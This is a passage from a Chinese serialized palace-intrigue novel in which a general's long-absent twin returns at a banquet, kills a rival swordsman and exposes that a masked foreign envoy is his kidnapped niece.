北齐的人回来的也很快,却无比狼狈,几十人身上或多或少都有伤。 北齐人出发时,苏钰特意数过,去时三十二人,回来却只有二十八人。 折损了四个人,却只带回了两只野鸡。 这样的战绩,不用想也知道,这是以打猎为名,打人为实。 估摸着进入猎场之后,北齐就开始跟苏天华打架。只死了四个,双方应该都有留手。 苏钰并不担心苏天华,只是时间一点点过去,眼看着就要末时,依然不见有人回来。 苏震岳眉头皱起,正想招手唤来太安,就听急促的马蹄声响起,却不是来自猎场的方向。 众人目光随着声音看去,就见海公公骑马狂奔而来,直到进入营地范围,这才下马狂奔而来。 显庆皇帝看到海公公,眉头皱起。 刚想询问,就见海公公跪了下来,顾不上向显庆皇帝见礼,而是转向罗星的方向,“太后中了南魏奇毒,求大人出手相助。” 海公公最初的目的是驿馆,就是今天有活动,一般来说驿馆总有人留守。 没想到罗星带走了所有人,连一个随从都没有留下来。 关太后身上的毒中的诡异,去驿馆又扑了空门,摆明了有诈,但他全然顾不得。 “太后中毒,关我南魏什么事。”罗星声音中带着诧异,语调却是冰冷的,“还是说,大周要找借口与南魏开战?” 帽子扣的虽然大,但道理却是没有错。 南魏使团受邀来了,和谈刚谈完,大周的人突然大声说关太后中了南魏的毒。 这就是典型的,寻借口挑衅,欲再起战事。 显庆皇帝对于眼前的变故,显得十分茫然,本能的,脸上甚至露出笑容,欢喜说着,“太后中毒了?” 死了吗,今天能咽气吗? 薛迟神色凝重,上前一步,脸上带着担忧,道:“皇上,太后竟然在宫中中毒,此事非同小可。不管此毒是谁所下,此刻皇宫安全堪忧。” 原本还很欢喜的显庆皇帝,在薛迟的提醒下终于想起来。 关太后是在皇宫被下毒的,对方能给关太后下毒,也就能给他下毒。 薛迟又道:“皇上,此时皇宫不安全,请陛下暂留清漪园,调羽林军保护,再由建章骑营调查关太后中毒之事。” “如此安排甚妥。”显庆皇帝连忙说着,又看向薛迟,目光中满是信任,“此事交由你去办。” 薛迟郑重应道:“是。” “太后中毒,危在旦夕。”海公公大声说着:“皇上,太后是您的嫡母,如此不孝,会被天下人笑话。” 眼前的情况他早就料到,现在只希望在众人面前,显庆皇帝能在意一下脸面。 显庆皇帝脸上露出不耐烦的神情,又想到北齐和南魏的使者都在看着,自己是要当明君的,不能落下不孝的罪名。 强压下心中的不耐,面露忧色道:“太后中毒,朕甚是忧心。但空口白牙说是与南魏使者有关,这可如何是好?若无证据,贸然指责,恐引起两国纷争。” 海公公再次说着,“太后生命垂危,找出凶手虽然重要,但太后娘娘的性命更要紧。还请南魏的医者出手,为娘娘诊治。” 说着,海公公朝着罗星磕头,态度之谦卑,是他此生没有过的。 怎么中的毒,谁下的手当然重要,却不是眼前最重要的。 薛迟张口就是调查原因,就是想拖死关太后。 罗星并不吃这一套,或者说她己经习惯旁人卑躬屈膝。戴着面具的脸,旁人看不到表情,语气却是不悦的。 “太后久居深宫,一直身体强健,南魏的使团来了,就说中了南魏的奇毒,这还真是凑巧。” 夜烬阳上前一步,小声说着,“两国即己和谈,为了双方友谊,正好随行的李大夫向来善毒,不如让他跟着去看看。” “这里什么时候轮到你说话了。”罗星怒声喝斥,“五十鞭刑,马上执行。” 不管关太后的毒是怎么中的,是不是与南魏有关系,但只要南魏医者诊脉了,没关系也有关系了。 南魏的医术又成神学,虽然也有奇迹发生,但死的更多。 关太后身份尊贵,若是死在南魏医手里,南魏有口难言。若是大周以此借口寻事,只会徒生枝节。 至于关太后死不死,与南魏有什么关系。看显庆皇帝的反应,巴不得关太后早点死。 随着罗星的一声令下,两个南魏侍卫迅速上前,紧紧按住夜烬阳的肩膀。 夜烬阳只觉双肩如同被铁钳夹住一般,动弹不得,不禁开口求饶,“臣知错,要打要罚,还请……” 五十鞭刑虽然重,他不是受不起。 只是这种场合下受刑,情何以堪。 一语未完,嘴却被一块脏兮兮的布团粗暴地堵上。侍卫们毫不留情地将他拉到旁边,紧接着,一个侍卫从腰间抽出一条长长的鞭子。 “啪!” 第一声鞭响如炸雷般在空气中爆开,沉闷的声音回荡在众人耳畔。 小主子的话就是神旨,不打一点折扣。 皮鞭狠狠地抽打着夜烬阳的脊背,他的身体猛地一颤,仿佛被电击一般。 身体疼痛并不算什么,他紧咬牙关,额头上青筋暴起,心中的恨意如汹涌的潮水般不断上涨。 众人面前,尤其是在别国皇帝和使臣面前,一国太子被这样无情地抽打。 夜烬阳的双眼布满血丝,目次欲裂,那眼神仿佛能喷出火来。 此仇此恨,来日必加倍奉还。 海公公全身颤抖,眼中阴冷几乎化为实质,直瞪着罗星。 倒不是因为夜烬阳,而是夜烬阳只因为建议给关太后救治,就挨了鞭刑。 罗星这是摆明了告诉他,不管关太后中毒之事,与南魏有没有关系,她都不会派人给关太后诊治。 “这位公公,看起来不太服气。”罗星语调微扬,嘲讽意味越发明显。 海公公心知求饶无用,缓缓从地上起来,向罗星行了一礼,又向显庆皇帝说着,“太后身体有恙,奴才要赶回去侍侯。” 显庆皇帝心里高兴,说着,“去吧。” “奴才告退。”海公公说着,转身离开。 挨过五十鞭的夜烬阳被扶进帐篷里上药,罗星勾勾手,梁沐马上上前。 “盯紧些。”罗星说着。 虽然没具体说盯什么,梁沐何其精明,马上明白说的是夜烬阳,“请小主子放心。” 如何一出插曲,众人几乎忘了狩猎比赛之事。 苏家人却显得有些焦急,因为直到此时,打猎的苏天华众人还没有回来。 只是刚才海公公在,关太后中毒事大,不好开口。 现在海公公走了,苏震岳马上站起身,“皇上,天华还没回来,我想带人去寻。” 显庆皇帝这才注意到苏天华至今未归,脸上闪过不悦之色。 昨天的擂台赛输给了南魏,今天比狩猎,苏天华竟然超时未归,这己经输了。 在自家的猎场上,堂堂大将军带着人去打猎,还需要人接应,着实丢人。 “回来了,苏将军回来了。”小太监眼尖,看到树林里走来的身影。 苏震岳,叶氏,苏钰三人连忙起身,快步迎了上去。拖到现在才回来,这肯定是有变故。 罗星也看了过去,神情意味不明。 显庆皇帝难堪的脸色消了几分,脸色依然不太好看。 几十骑远远而来,苏天华一马当先,脸色看起来苍白至极,身上多处伤痕破洞,衣袍也有些残破,在风中微微飘动。 苏邑紧跟其后,虽然精神还好,但身上的小伤口也不少。 跟着的亲兵们更是个个带伤,大伤加小伤,虽无性命之忧,却也尽显疲惫之态。 众人走进营地,缓缓下马。 几个侍卫抬着猎物放到正中央,狼鹿之类的猎物堆积在一起,好不壮观。 正在众人惊叹之际,竟然还有一只老虎被抬了上来。 就在显庆皇帝惊喜之时,又有侍卫抬着一只白色老虎尸体上前。 苏天华强打精神,上前拱手道:“陛下,这只白虎是回途的路上遇到的。臣等见其实在珍贵,想着献于皇上,这才耽搁了回来的时间。还请陛下恕罪。” 显庆皇帝满脸喜色,大笑道:“苏爱卿何罪之有。你等猎得如此珍贵之物,朕心甚喜。这白虎世间罕见,你等辛苦了。” 第185章 第 185 章 苏天华虽然回来晚…… 苏天华虽然回来晚了, 但带来的猎物,比其他三家加一起的还多。 两只老虎,甚至还有白虎。 白虎珍贵,白虎皮越发显得珍贵。 原本就高兴的显庆皇帝, 顿时笑得合不上拢嘴, 连声说, “赏, 所有人重重有赏。” “谢陛下。”苏天华说着,这才回到坐位。 如此一通耽搁, 早过了中饭时间。 显庆皇帝兴高彩烈的宣布传膳,只是吃饭的众人心思各异。 关太后中毒,调动羽林军,建章营骑查案,皇帝以及三品以上大臣却不在京城。 数条讯息叠加, 除了傻乐的显庆皇帝,在场的官员哪能不明白。 要变天了。 羽林军来的很快,一餐饭没吃完, 薛驸马领着兵来了。 整个清漪园被包围起来, 薛驸马更是随侍在显庆皇帝身侧。 显庆皇帝看着体魄健硕的薛驸马, 觉得安全感很足,心情越发好了。顾不上嫡母中毒还躺床上, 坚持要夜宴。 薛迟临走前跟他说, 关太后肯定活不了了,可以提前庆祝了。 想到这些年被关太后压制,显庆皇帝心情大好,要通宵畅饮。 最心惊胆颤的,当属关太后一党。 显庆皇帝窝囊了这么多年, 怎么突然就掘起了,而且还是选在使团进京这个关键时候。 唯一让他们有点底气的,关楚河没有被困在这里,应该还有转机。 “二老爷,您忍着点。”军医对苏天华说着。 趁着吃饭的空档,参加打猎的众人回帐篷更衣治伤。 苏家出门是带着随军医生的,其他人的伤势都好处理,小伤而己。 苏天华的伤势格外重,只是衣袍宽大,再加上他善忍耐,一直没有表现出来。 遇到白虎是运气,打死白虎是实力。就是中间过程辛苦,但身受重伤的事,若是说了就显得弱了。 显庆皇帝那么要脸面的人,臣子是不能给他丢脸的。 “北齐借着打猎之名,却暗算我们,这个仇,一定要报。”苏邑怒声说着。 他素来脾气温和,此时却恨北齐使团入骨。 进入猎场时,苏天华就提醒众人一定要小心,北齐使者突然提出要竞技,肯定憋着坏。 他却没想到,北齐能那么坏。一直悄悄跟随,在他们遇到老虎时偷袭,更暗暗下毒。 下三滥手段使尽,终于伤到苏天华,他欲去追,却被苏天华叫住。 正事要紧,与北齐使团的帐,可以以后算。 苏天华当时己受伤,情况还好,本来也能准时回去。结果又路遇白虎,狭路相逢,躲都不好躲。 苏震岳脸色凝重,担心苏邑年龄小行事冲动,训斥着他,“眼前你父亲身体要紧,其他事情以后再说。” 苏邑强压怒意,低声说着,“是。” 军医正给苏天华上药,伤口触目惊心,忧心忡忡地说着,“二老爷的腹部被虎爪抓伤,伤口实在太深。往后这几日一定要小心养护,切不可大意。若有半点差池,恐生变故。” 苏天华身上伤口不少,最重的却是腹部这一爪,受白虎临死一击,这也亏得苏天华身体强壮,不然只怕要抬着回来了。 苏天华躺在榻上,面色虽有些苍白,却依然强打精神。 叶氏站在床边,看着丈夫这般模样,心疼不已,眼泪簌簌落下,听着军医的叮嘱,连连点头,哽咽着说:“多谢,我会小心照料。” 苏天华见她哭的伤心,强忍着疼痛,露出一抹虚弱的笑容,安慰叶氏,“一点小伤罢了,养上些时日便好。看看你脸上的妆都哭花了,快去洗把脸,都快成大花猫了。” “都这样了,你还跟我说笑。”叶氏又是气又是笑。 叶氏和苏邑留在帐篷里照顾苏天华,苏震岳出了帐篷,神情凝重。 苏钰迎了上来,苏天华治外伤要宽衣解带,她不方便进去。 “你二叔没事,不用太担心。”苏震岳说着。 苏钰舒口气,神情欲言又止,却还是小声问出口,“二哥没跟着过来,是早知道……” 清漪园的宴会,叶峰虽然是文官,也可以跟着苏家众人一起来,但他没来。 苏钰开始时也没多想,但眼前的情况,她不能不多想。 苏震岳摇摇头,“我老了,小辈的事,管不了了。” 虽然这话说的有点丧气,但也是事实。 他什么都不知道,不知道关太后中毒,也不知道叶峰没来是巧合,还是他在城中另有事务。 月满则亏,水满则溢, 在苏震岳看来,苏家的权势己差不多到顶峰,再往上走,就是第二个关家。 可能真是年龄老了,上进心没那么多了,他觉得现在的苏家就好,没有败家的纨绔子弟,子孙多上进。 直到今天,关太后中毒,薛迟一通操作,明晃晃的阳谋。 他这才意识到,苏略为什么会派太安过来,叶峰为什么不过来。 “薛迟是你未来夫婿,你也不知道吗?”苏震岳反问苏钰。 苏钰摇摇头,不管是薛迟,还是苏略,都致力于瞒着她。 “女孩子家,不掺和这些也挺好。”苏震岳说着。 这倒不是宽慰苏钰,而是如此危险之事,告知了苏钰,她也帮不上忙,不如不说,徒增她的担心。 两人正说着,就有小太监过来传旨,显庆皇帝临时起意,晚上要再加一场。 营地不安全,要回清猗园,请各家准备赴宴。 众人齐齐无语,就没见过显庆皇帝这样的,就是早有准备,觉得十拿九稳了,关太后毕竟还没有死。 哪怕是在外国使团面前装个样子呢。嫡母还中毒床上躺着,他既不过问,也不担心,反而在这里欢乐的开宴会。 众人不知道的是,显庆皇帝心里也是担心的,但饭后他连卜三卦,皆是上上签,可以确定关太后必死无疑。 心里实在欢喜,这才要开宴会提前庆祝。最好宴会到一半,听到关太后的死讯。 酉时一刻,清漪园的灯火再次亮起来。 悠扬的乐声回荡在空气中,舞姬们身姿轻盈,一片歌舞升平之象。 除了显庆皇帝高兴之外,也就北齐使者高兴。 夜烬阳刚刚遭受鞭刑,罗星脸色难看,南魏使团众人皆噤若寒蝉。 礼部的官员连基本的热场都要忘了,都变天了,谁也不知道能不能活过明天,实在顾不上。 显庆皇帝依然傻乐着,北齐使者突然起身,大声说道:“早就听闻苏将军的大名,我国剑士十分仰慕,想向苏将军讨教一二。” 此言一出,场上的气氛顿时变得微妙起来。 指名一对一单挑,拒绝的话那便是认输,大周的颜面荡然无存。 显庆皇帝却显得十分高兴,苏天华的勇武他是知道的,都能打死白老虎,跟北齐的使者一对一肯定没问题。 转头看向席上时,却只看到了苏震岳和苏钰,并不见苏天华。 显庆皇帝微皱起眉头,刚想询问,就见远处一道身影缓缓而来。 由远至近,那身影所过之处,肃杀,冷寂,仿佛把天地间都染成红色。 保护显庆皇帝安全的侍卫被震住了一般,连喝斥询问都忘记了,只是呆呆看着。 一点点靠近,摇曳的灯光洒在他的身上,将他的轮廓勾勒得愈发深邃。 露出熟悉的脸,正是苏天华。 他没穿官服,而是一身玄色劲装,整个人好像一柄出鞘的剑,又似乎能随时隐身于黑暗中,瞬间消失不见。 苏钰不自觉得双手握拳,紧盯着苏天华,心仿佛被揪住了一般。 下午她才见过苏天华,重伤在榻,以至于都不能出席宴会,早早回了别院休养。 眼前的苏天华,一模一样的脸,连声音都是一样的。 那只能是…… “臣来迟了,请皇上恕罪。”苏天华语调平和,却末尾处却微微上挑。 北齐使者看着苏天华,眼中闪过一丝惊讶。 根据他得到的情报,苏天华重伤,根本就无力再战。 这时候提出比试,占的就是这个便宜。要是苏天华接受了,打败苏天华,狠出一口恶气。 要是苏天华避战,那更可以借此宣扬一番,让大周在各国面前丢尽颜面。 显庆皇帝见苏天华到来,脸上露出笑容,说道: “苏爱卿来得正好,北齐使者有意与你切磋,你可敢应战?” 苏天华微微一拱手,从容说道:“臣愿应战。” 北齐使者看着苏天华,心中隐约觉得有点不对,但此时战约已下,容不得反悔。 北齐剑者大步流星地走上前来,向苏天华微微见礼示意。 “此处狭窄,施展不开,不如换个宽敞的地方。”北齐剑者说着。 苏天华神情平淡,“不用,此地足矣。” 北齐剑者也不再说别的,“请。” 只见他右手猛地握住剑柄,长剑出鞘,一道寒光闪过,如闪电般迅速。身形如鬼魅般一闪,瞬间欺近苏天华身前。 苏天华原地站定,脸色都不变,不知何时长剑己经在手。轻轻格挡间,只见他手腕一抖,长剑如切豆腐般轻松斩下剑者的脑袋。 刹那间,鲜血喷涌而出,染红了地面。那颗人头滚落一旁,在地上滚动着,触目惊心。 周围的人都傻了,呆呆地看着这一幕,仿佛被定住了一般。 果然如苏天华所说的,不需要换地方,这也太快了。 第186章 第 186 章 全场寂静,众人皆…… 全场寂静, 众人皆惊。 北齐使者彻底傻了,瞪大双眼,冲着苏天华大声喊着,“你不是苏天华。” 苏天华重伤在身, 就是没重伤, 也不可能有这样的身手。 倒不是说苏天华武力差, 而是苏天华是领兵打仗的将军, 更善于兵法操练。一对一单挑,反而没那么强。 此言一出, 所有人的目光都落到“苏天华”身上。 显庆皇帝身边的侍卫们个个神色紧张,手迅速搭在剑上,一步跨出,站在显庆皇帝面前,将他牢牢护住。 警惕地看向“苏天华”, 眼神犀利,只要有一丝风吹草动,立刻拔剑相向。 “苏天华”神色如旧, 淡定从容之态波澜不惊。 他微微抬眸, 看向显庆皇帝, 语调平缓,“臣苏天翊拜见皇上。” 苏天翊三个字好像一枚核弹, 因为威力过大, 瞬间抹平了一切,反而让现场一片死寂。 还是显庆皇帝最先反应过来,眼中闪过惊喜之色,高兴说着,“苏爱卿回朝, 喜事,大喜事。” 占卜时,他就算出有大吉星突然出现,当时他还想着这吉星从何而来。 苏天翊就出现了,他肯定就是这个吉星。 皇帝身边的太监总管,知道占卜之事,连忙附和道:“皇上洪福齐天,苏大人归来,实乃我朝之幸。” 北齐使者脸如酱色,心中懊恼不已。 苏天翊不在时,他嘴上骂得欢快,仿佛自己天下无敌。 可如今苏天翊站在他面前了,他真不敢骂了。 背着苏天翊的骂可以过嘴瘾,但当着面骂他,很有可能人头落地。 不自觉得别开眼,不敢与苏天翊对视,心中暗自盘算着,眼下情况要如何应对。 大周的臣子们也是面面相觑,关太后中毒躺床上,政变一触即发时,苏天翊回来了。 这能是巧合?这怎么可能是巧合。 苏钰嫁给了薛迟,薛迟是晋阳长公主的儿子,薛驸马是显庆皇帝的心腹。 帝后之争,苏天翊这是站队了皇帝。 怪不得显庆皇帝这么开心的开宴会,这把稳了。 “父亲……” 苏钰站起身来,走到苏天翊跟前,声音微微颤抖,压抑不住的激动神情溢于言表,眼泪也跟着落了下来。 她直盯着苏天翊,十年了,整整十年。 她终于再次看到自己的父亲。 苏天翊朝她笑着,与十年前一样,笑容清雅淡然,神情中带着欣慰,“我的钰儿,都长这么大了。” 苏钰又是哭又是笑,心知此处不是叙旧的时候,速速擦了眼泪。 苏震岳也是一脸震惊,随后化为喜悦,大声笑着,“老大,你可算是回来了。” 慕容宁双手握拳,指甲几乎扎进肉里,紧紧盯着苏天翊。 眸中闪烁着复杂的光芒,惊喜,痛苦,还有一丝不易察觉的眷恋。 出现的一瞬间,她就认出了他。明明与苏天华一模一样的眉眼,她却能一眼看出区别。 那是一种刻在骨子里的熟悉感,即使十年不见,她一点都没有忘记。 “王妃。”楚王爷嚅嚅的开口,声音中带着一丝不安。 他与慕容宁的婚姻,始于苏天翊的离开。 苏天翊回来,他不知道这段婚姻,还能不能继续。 “赐坐。”显庆皇帝高兴说着。 吉星归于,大事定然能成。 “谢皇上。” 苏天翊嘴上说着,却没有落座,目光看向罗星。 罗星面具下的神情凝重,直视着苏天翊,警告意味十足。 “请皇上恕罪,臣想借此机会,处理一件家事。”苏天翊缓缓说着,声音沉稳有力。 显庆皇帝既意外又好奇,看着苏天翊说,“苏爱卿到底是什么家事,需要在这里处理?” “京城人尽皆知,苏家丢过一个姑娘。”苏天翊目光看向罗星,“现在终于找到了。” 此言一出,别说大周的臣子们,就连显庆皇帝都愣了一下。 唯有罗星,目光深邃,直盯着苏天翊。 苏家二姑娘丢了,本来十几年前的往事,很多人都不记得了。 众人会记得,是因为丢了的二姑娘进了勾栏,当过外室,据说还生过孩子。 苏家依然大张旗鼓的把她迎了回来,还办了宴席。 幼时走丢,落得如此境遇虽然可怜。但这样不堪的过往,苏家依然迎回来,完全不藏着掖着,完全不在意自家脸面,也是十分罕见。 也因为太罕见了,苏家这位二姑娘,让人不知道都难。 只是苏二姑娘早己找回来,苏天翊却说现在才找回,难道前面找回来的是假的,现在找回真的了? 就是找回真的了,也没必要在这种场合说。 “当年苏辰并不是走丢,而是被拐走的。”苏天翊说着,看向慕容弦,“是不是啊,慕容大人。” 慕容弦脸色难堪至极,却是站起身来,深吸口气说着,“我是拐过苏二姑娘,却没有加害她,而是把她和奶妈放到国公府的后巷。” 发现抓错人后,面对一个四岁稚子,慕容弦再怎么丧心病狂,也不至于加害于她。 他虽然记恨大周人,但慕容宁嫁给苏天翊,被苏家庇护,才能在大周京城过上安稳的生活。 要不是迫不得己,他不会跟苏家翻脸。 只是公然把人送回去又会显得太奇怪,索性把奶妈和苏辰打晕,送到国公府后巷。 后巷紧挨着国公府外院,是下人们的住所,人来人往,只要有人出门,就能看到。 这样的安排,在慕容弦看来很安全了,结果苏辰还是丢了。 他承认他拐过苏辰,但把这个锅全扣到他头上,他会觉得自己挺冤。 慕容弦讲完,在场众人皆惊。 连北齐使团都傻住了。实在没想到,来趟大周,还能吃到这么大的瓜。 当年苏天翊坚持与慕容宁和离,甚至一言不发离京。其中原由众说纷纭,但多是指责苏天翊的。 没想到竟然是这样的,那苏天翊没说,真是厚道人。 不管什么原因,慕容弦试图拐苏家孩子,这亲家肯定做不了了。 “我知道把她带走人不是你。”苏天翊说着,看着慕容弦继续说着,“你不好奇吗,你向南魏求医,南魏为什么给出你那样的药方?” 慕容弦愣了一下,南魏给出的治疗方案确实很离谱。但南魏的神学,能给正出正常的药方,那就不正常了。 苏天翊继续往下说,目光却看向罗星。 众所周知,南魏国师府的传承方法,十分特别和古怪。 一般人收徒弟,要么是亲友,要么是有缘人,再不然就是重视根骨天资,花数年遴选徒弟。 而南魏国师找徒弟,与所有的派别都不同。 大概就是,某天国师突然做了一个梦,接收到了上天的旨意。梦境不是给出体的指示,而是给出一些奇怪的符号。 破解符号后,根据符号的提示,抽丝剥,有时候甚至要花几年时间才能找到徒弟。 至于这个徒弟是男是女,年龄几许,根骨如何,是否原意当这个徒弟,全部不重要。 总之,找到了,就是她了。 理论依据,科学道理是全然没有的。 但南魏国师府却是靠这套收徒方案,传承下来。 “南魏国师府的传闻,我自是知晓。”慕容弦疑惑,甚是不解的看向苏天翊,“这与南魏给我的药方有什么关系?” 这么多年了,苏辰走丢这事,他也回想过,但从来没往南魏的方向想过。 求助南魏神学的那么多,稀奇古怪的药方更多。血祭什么的,在别国觉得诡异,在南魏就是常规操作。 “南魏国师接到了神喻,根据神喻找到了传人。”苏天翊说着,目光转向罗星,直直看着她,“正是我的侄女,苏家二姑娘苏辰。” 一枚重型炮弹落下,众人懵逼之后,乍然清醒过来。 南魏国师的传人不就正在眼前吗,这位就是真正的苏二姑娘? 慕容弦这才如梦方醒,原来从一开始,南魏国师就算计了他。 按照神喻找到了徒弟,但苏辰身份特殊,国公府不是那么好闯的,苏天翊更不是好惹的。 冒然去偷,打草惊蛇只怕再无机会。 忽悠他去拐人,不管是拐对了还是拐错,抓到的是苏钰或者是别人,南魏只要跟着混水摸鱼抓走苏辰即可。 就是抓到的是苏辰,直接从他手里抢人,也比直接从国公府手里拐人容易。 “呵!”一声冷笑,罗星站起身来。 话说到这份上,虽然心情翻腾起伏,但逃避不是她的性格,索性摘下面具。 一张与苏邑一模一样的脸,出现在众人面前。 众人皆知,苏邑与苏辰是双胞胎,这样的一张脸,做实了苏天翊所说。 顿时议论声更大了,本来只是悄悄说,现在都是忍不住指指点点。 唯独没有反应的,竟然是南魏使团。 虽然也有惊讶,也有不可思议,但罗星是国师弟子,能决定她身份只有国师本人。 她就是苏家人,也不是他们能置喙的。 “苏先生说的都没错,但既然说了,何不全部说完。”罗星冰冷的眸子看着苏天翊,“比如,慕容大人为何会拐我,或者说,他真正想拐的是我吗?” 第187章 第 187 章 “他真正想拐的是…… “他真正想拐的是我吗?” 一语出口, 众人又是一懵。 仔细想来,慕容弦会拐罗星本身就很奇怪,拐完还放人家后门上,更显得没道理。 罗星眼中含怒, 下巴微扬, 直视着苏天翊, 却没有丝毫退缩之意。 苏天翊当着所有人的面揭了她的底, 也是绝她的退路。 大周的满朝文武,慕容氏, 南魏和北齐使团,这真是当着全天下人的面。 让世人皆知,南魏国师府唯一传人不但是大周人,还是领兵与南魏打了这么久的苏家人。 这对南魏是一个重大打击,她就是回南魏, 老头子能接受她,她也不好呆下去。 想想北齐,被苏天翊搞死了继承人, 诛心了现任皇帝, 连打仗都无力了。 对统治者用攻心计, 确实是歹毒又无解。 慕容弦神情紧绷着,眼中透着复杂之色, 有慌乱, 有愧疚,双手微微颤抖,张张嘴,却说不出话来。 罗星冷笑一声,厉声道:“是你自己说, 还是我来说。” 慕容弦深吸口气,话己经说到这了,无路可退,他看一眼苏钰,随即别开脸,“是因为南魏国师给我的药方,需要…… 需要血亲血祭。” 随即又大声说着,“此事是我的主意,与我阿姐无关。” “血祭?” 众人的议论声越来越大,只觉得脑子都要不够用的。 南魏的神学,搞血祭是常事,并不意外。 但与慕容氏有关系的血祭人选,那肯定不是苏辰,而是…… 苏钰呆立当场,满脸的不可置信。 前面的内容,她是知道的。 但血祭…… 慕容弦把苏辰送回去,是因为抓错了。那慕容弦想抓的,应该是她,也只能是她。 心中如翻江倒海一般,她的亲舅舅,不止不喜欢,还曾想要她的命? 苏钰目光不自觉得,从慕容弦转向慕容宁,直直盯着她,好像要盯出一个洞来。 甚至有冲动想去质问她,“你真的不知道?” 就是当时不知道,后来肯定是知道的。 在明知慕容弦的所作所为后,慕容宁依然原谅了,继续与慕容弦做好兄妹。 十九年母女之情,仿佛瞬间倾塌。 慕容宁身为质子,一直想回家,对她这个女儿的感情并没有那么深,她虽然接受的有点痛苦,事后想想,也觉得可以理解。 而现在…… 她做为一个女儿,到底要怎么理解自己的母亲。 慕容宁默然坐着,微微闭眼,没有看向任何人。尤其是苏钰的方向,更不敢看去。 事情真相就是如此,任何解释都是无力的。 纸包不住火,所有真相都会被知晓,只是她也没有想到,苏天翊会这个时候,在这么多人面前,把事情说开。 楚王爷突然站起身来,鼓起勇气说道:“王妃疼爱女儿之心,我是知道的,她是真的不知情。” 向来懦弱,任何公开场合都不敢说话的楚王爷,竟然公然为慕容宁辩解。 大周的官员惊讶之余,觉得此话可信。 南魏血祭很常见,但舍得拿亲骨肉血祭的还是少数。 苏震岳早就傻眼了,在得知罗星就是苏辰时,整个人就怔住了。 万万没想到,事情会发展到如此地步。转头看着苏钰,心中满是心疼。 他想要安慰孙女,却又不知从何说起,只能伸手拍拍她的肩。 苏家的女儿,自有苏家人疼,其他人想什么做什么,不用在意。 “我没事,祖父不用为我担心。” 苏钰感受到苏震岳的安慰,苍白着脸,却是对苏震岳笑笑。 虽然心都要裂开,但苏天翊当众说破此事,肯定有其用意。 现在事情才说一半,还有另一半在等着,这个时候牙咬碎也得撑住。 “苏大姑娘,就没什么想说的吗?”罗星看向苏钰。 自己的舅舅想杀她,也许自己的亲妈还有参与。 现在被亲爹当众说破,她也想知道苏钰的心情。 被点名了,苏钰缓缓站起身来,看向罗星,“二妹妹,这一声我终于能唤出口。直到今天我才知道,原来是我连累了你。” “多谢。” 说话间,苏钰郑重的向罗星行礼道谢。 回想当年的细节,慕容弦送她东西,被罗星拿去,后来罗星就被抓错了。 虽然这样说不好,但罗星确实替她挡了这一灾。 “这是救命之恩,一句多谢可是不够的。”罗星说着,看着苏钰。 脸色虽然苍白,一双眼眸却明亮如星,坚定而刚毅。 起身的动作,说话的语气,那般淡然自若,仿佛一点都没被影响到。 要不是苏钰乍然听闻时,脸上闪过的那过的惊诧,都要以为她早己知情。 不知情还能应对的如此得体,没有丝毫失态,真不愧是苏天翊的亲生女儿。 “自家姐妹,我做为姐姐,你的事就是我的事,自该鼎力助你。” 苏钰说着,平静的目光直视着罗星。 “我可没打算跟你当姐妹。”罗星微微皱起眉头。 苏钰笑笑没说话,目光转向慕容弦。 慕容弦下意识别开脸,完全不看苏钰。 “舅舅。”苏钰唤着,声音沉稳中带着斯哑,语气却十分坚定,“大周有句俗话,娘舅亲,辈辈亲,打断骨头连着筋。我是母亲唯一的女儿,您与母亲姐弟情深,不到不得己不会想要牺牲我。” 一字一句的话,让慕容弦表情一点点龟裂,又一点点黏起来。 错愕,惊讶,不可思议,再到欢喜。几乎是下意识的转过头来,看向苏钰。 苏钰神情依旧,继续说着,“过往如何,我不想再提起,您永远都是我的舅舅。” 慕容弦神情再无法自制,眼泪都落了下来。对苏钰原本的芥蒂全部消除,内疚歉意血脉相连的感情,全部涌了上来。 “好,好,钰儿,舅舅以后定会护你周全,绝不再让你受一丝伤害。” 慕容宁眼泪也跟着落了下来,就算苏钰是装的,为了将来得到慕容氏的庇护,或者利用慕容氏。 但这种时候,能说出这样的话,她这个母亲依然是高兴的。 她只有这么一个女儿,也只有一个弟弟,不管什么时候,她都希望他们能和睦。 罗星无言看着,实在没想到,苏钰的应对如此的巧妙。 以前慕容弦当这个外甥女是空气,那以后就是实打实的会为苏钰出生入死。 这真是苏天翊的亲生女儿,攻心计学了个十成十。 连大周的朝臣看着都是赞叹不已。 如此突变之下,面对罗星的追问,苏钰应对的何止是好,简直是太妙了。 至于显庆皇帝,因为信息量太大,此时反应不过来,更是说不出话来。 苏天翊默然看着,欣慰之余又有点难过。 所有的成长都是在风雨中,温室里只能养出娇花,却养不出大树。 苏钰比他想像中的还要坚强,适应能力也更强。 感情,情绪是在利益之下的,只是单纯的人前发泄情绪,是弱者的行为。 把情绪转化为工具,在最恰当的时候说最合适的话,发泄最合适的情绪,将无往而不利。 这也让他放心不少,既然要当皇后了,将来肯定是要当太后的,这一路的风雨,最终要靠她自己走下去。 苏天翊目光看向罗星,“你就没有想过,南魏的国师为什么收一个大周人为徒吗?” 国师府收徒是有一套特别的法责,但国师府的徒弟,从来不止一个。 有统计过,平均五年会托梦降下一个神谕。 毕竟南魏的神学一直充斥着各种不确定性,最鲜明的例子,每年死于神学之下的南魏病人,比大周和北齐多多了。 国师府对南魏太重要,传承是大事,甚至是国事。 皇帝三宫六院生一堆儿子,那都是亲生的,夺嫡之争还你死我活。 国师府没有血脉当做羁绊,只会更复杂,五年一个徒弟,慢慢甄选或者说是养蛊,才是常态。 “我这样天才,百年未有一个。”罗星语气坚定,对自己实力的自信,也是感情上的自信。 她是老头子亲自教养长大,常年累月的相处,有没有感情她能感觉到。 “那你知道不知道,南魏国师一直在按照神谕寻找弟子。”苏天翊说着,“虽然没有正式收为弟子,却都另给了身份,安置起来了。” 罗星神情微微变了,抿了一下唇却没说话。 苏天翊随即拿出薄薄一册书卷,丢给罗星,罗星抬手接住。 “这上面记载着,国师府每一个通过神谕找回来的人,姓名,籍贯,以及目前居所。以你的能力,想查证很容易。”苏天翊说着。 罗星手握着书册,脸色难堪,没有收起来,却也没有扔掉。 苏天翊知道她相信了,继续说着,“还有另一件事,我想你应该也不知道。南魏国师有间藏书楼,一楼书架,第十四排,第二层,第七本书。名字叫做《洗髓大法》,其中记载着一个南魏秘术,类似于吸星大法。可能吸取别人的功力为己用。” “你是百年难得一见的天才,南魏国师养你,教你,在你身上花了无数心血。只是为了培养敌人的孩子吗?就你这身功力,最后是不是你的,未必见得。” 罗星脸色难堪至极,周身气劲迸发,直瞪着苏天翊。 “辰姐儿,没人会把自己的国家,拱手送给一个外人。”苏天翊意味深长说着。 因为违反人性。 第188章 第 188 章 罗星握书卷的手紧了又…… 罗星握书卷的手紧了又紧, 